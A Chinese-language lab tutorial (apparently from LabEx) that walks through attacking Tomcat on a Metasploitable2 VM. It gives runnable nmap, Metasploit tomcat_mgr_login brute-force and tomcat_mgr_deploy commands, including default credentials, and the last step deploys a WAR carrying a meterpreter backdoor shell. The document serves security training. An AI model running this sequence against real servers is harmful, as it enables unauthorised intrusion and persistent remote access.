介绍
在本实验中,你将学习利用 Tomcat 漏洞的原理以及攻击它们的过程。在攻击过程中,你将学习如何使用 Kali Linux,并了解 Kali 中的攻击框架 Metasploit Framework (MSF)。本实验中被渗透的目标机器是基于 LabEx 提供的 Kali 环境的 Metasploitable2。
扫描目标机器的网络漏洞
在一次典型的渗透测试中,我们需要进一步攻击目标机器。首先需要做的是对目标机器进行渗透扫描。在扫描过程中,我们可以发现机器提供的服务,然后根据可用信息判断是否存在漏洞。接下来,我们尝试渗透潜在的漏洞,并最终攻破目标机器以获取其漏洞。
- 在 LabEx 主机上打开一个 xfce 终端,并通过运行以下命令启动 Metasploitable2 目标机:
sudo virsh start Metasploitable2
等待目标机器启动,可能需要 1-3 分钟。
- 通过 ping 测试与目标机器的连通性:
ping 192.168.122.102
按下 Ctrl+C 停止 ping。
- 启动 Kali Linux 容器并进入 bash 环境:
docker run -ti --network host b5b709a49cd5 bash
- 在 Kali 容器内,测试与目标机器的网络连接:
ping 192.168.122.102
按下 Ctrl+C 停止 ping。
现在攻击机和目标机都已运行,你可以开始渗透测试。
- 然后我们启动 msfconsole 并进入操作界面:
cd ~
msfconsole
- 在扫描阶段,Nmap 是一个非常实用的扫描工具。在漏洞扫描过程中,我们可以通过分析尝试潜在的漏洞。在这里,我们使用以下命令对目标机器进行渗透扫描:
nmap -sV -T5 target
在上述命令中,-T 设置扫描速度:
| 参数 | 含义 |
|---|---|
nmap T0 |
极慢扫描,用于规避 IDS(入侵检测系统) |
nmap T1 |
慢速扫描,速度介于 0 和 2 之间,也可以规避某些 IDS |
nmap T2 |
降低扫描速度,通常不使用 |
nmap T3 |
默认扫描速度 |
nmap T4 |
可能会淹没目标,容易触发防火墙 |
nmap T5 |
极速扫描,牺牲准确性以换取速度 |
按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查
暴力破解 Tomcat 密码
在这一步中,我们将开始利用 Tomcat 漏洞。我们将使用 auxiliary/scanner/http/tomcat_mgr_login 模块,该模块尝试使用一组特定的用户名和密码登录 Tomcat Manager。如果登录成功,它将输出结果。
攻击模块代码:
从扫描结果中,我们可以看到端口 8180 是开放的。让我们尝试攻击这个端口。首先,在 MSF 终端中搜索 Tomcat 模块,看看是否有相应的漏洞模块:
- 首先,如果你不在 Metasploit 控制台中,你应该启动 Metasploit 控制台:
cd ~
msfconsole
- 使用 search 查找合适的模块:
search tomcat
- 使用
use命令选择适当的模块:
use auxiliary/scanner/http/tomcat_mgr_login
- 显示需要设置的参数:
show options
- 然后,检查需要设置的必要参数,并使用
set命令设置参数:
set RHOSTS 192.168.122.102
- 设置端口信息:
set RPORT 8180
- 接下来,使用命令进行攻击并暴力破解密码:
exploit
按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查
使用 Tomcat 密码进行渗透
在从相应模块获取到 Tomcat 密码后,我们将使用该密码渗透目标机器。我们将使用 exploit/multi/http/tomcat_mgr_deploy 模块,该模块登录到 Tomcat Manager 并执行一个 payload。这个 payload 使用 PUT 操作上传一个 WAR 包,而这个 WAR 包包含一个提供 meterpreter 后门 shell 的 JSP 文件。
攻击模块代码:
- 首先,如果你不在 Metasploit 控制台中,你应该启动 Metasploit 控制台:
cd ~
msfconsole
- 搜索合适的模块:
search tomcat
- 然后,选择适当的攻击模块:
use exploit/multi/http/tomcat_mgr_deploy
- 使用
show命令查看必要的参数:
show options
- 设置目标主机地址和攻击端口:
set rhost 192.168.122.102
- 设置端口信息:
set rport 8180
- 设置 httpusername 账户名:
set httpusername tomcat
- 设置 httppassword 密码:
set httppassword tomcat
- 然后,执行攻击(这可能需要大约一分钟):
exploit
- 好了,我们现在已经渗透了目标机器。接下来,我们将验证渗透是否成功。在成功的命令行终端中,输入以下命令:
sysinfo
不要输入 whoami,因为这会导致错误,因为这里使用的 meterpreter payload 不支持像 hostname、id、whoami 等命令。你可以使用 help 命令查看它支持的命令:
如下所示,它显示了操作系统信息:
Computer : metasploitable
OS : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter : java/linux
按下 Ctrl+D 退出 Metasploit 控制台,然后开始检查
总结
在本实验中,你学习了 Tomcat 漏洞的原理以及攻击它的过程。通常,在渗透测试之前,我们需要收集目标机器的信息。在信息收集过程中,我们可以更好地发现漏洞并攻破目标机器。完成本实验后,你应该掌握以下知识点:
- Tomcat 漏洞的原理
- Nmap 扫描的使用
- MSF 攻击流程
- 验证攻击是否成功



